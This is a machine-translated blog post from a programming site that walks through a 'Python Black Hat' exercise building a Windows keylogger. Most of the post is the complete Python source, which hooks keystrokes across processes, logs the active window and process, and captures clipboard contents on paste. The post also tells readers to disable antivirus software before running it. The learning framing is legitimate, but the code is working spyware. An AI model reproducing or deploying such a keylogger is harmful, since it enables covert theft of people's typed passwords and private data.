程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

Keyboard record of introduction to Python penetration test

編輯:Python

Recently, I received a network security book presented by the electronic industry press 《python Black hat 》, There are a total of 24 An experiment , Today, I will repeat the 19 An experiment ( Keyboard record ), My test environment is windows virtual machine +conda development environment +python3.7. This experiment is very interesting , stay windows In the environment , It can record the keyboard records under different processes , For example, I am in notepad Knock on the Notepad “ Hello! ”, The program will get “ninhao” Such Pinyin , Such programs are usually blocked by anti-virus software , So please close the anti-virus software before doing the experiment ~

Here the experimental environment is chosen python3.7, This makes it almost impossible to change the code , Otherwise, the code may be incompatible , You need to modify it manually ~

conda create -n py3.7hack python=3.7
conda activate py3.7hack
# conda install -c conda-forge pywinhook (python3.6 Environmental Science )
pip install pyWinhook

The experimental demonstration results are as follows :

Reference code :

# -*- coding: utf-8 -*-
# @Time : 2022/6/24 8:17 PM
# @Author : ailx10
# @File : keylogger.py
from ctypes import byref,create_string_buffer,c_ulong,windll
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard
TIMEOUT = 10
class KeyLogger:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd,byref(pid))
process_id = f"{pid.value}"
executable = create_string_buffer(512)
h_process = windll.kernel32.OpenProcess(0x400|0x10,False,pid)
windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd,byref(window_title),512)
try:
self.current_window = window_title.value.decode('unicode_escape')
except UnicodeDecodeError as e:
print(f"{e}:window name unknow")
print("\n",process_id,executable.value.decode('unicode_escape'),self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
def mykeystore(self,event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii),end="")
else:
if event.Key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f"[PASTE] - {value}")
else:
print(f"{event.Key}")
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
k1 = KeyLogger()
hm = pyHook.HookManager()
hm.KeyDown = k1.mykeystore
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == "__main__":
print(run())
print("done.")


  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved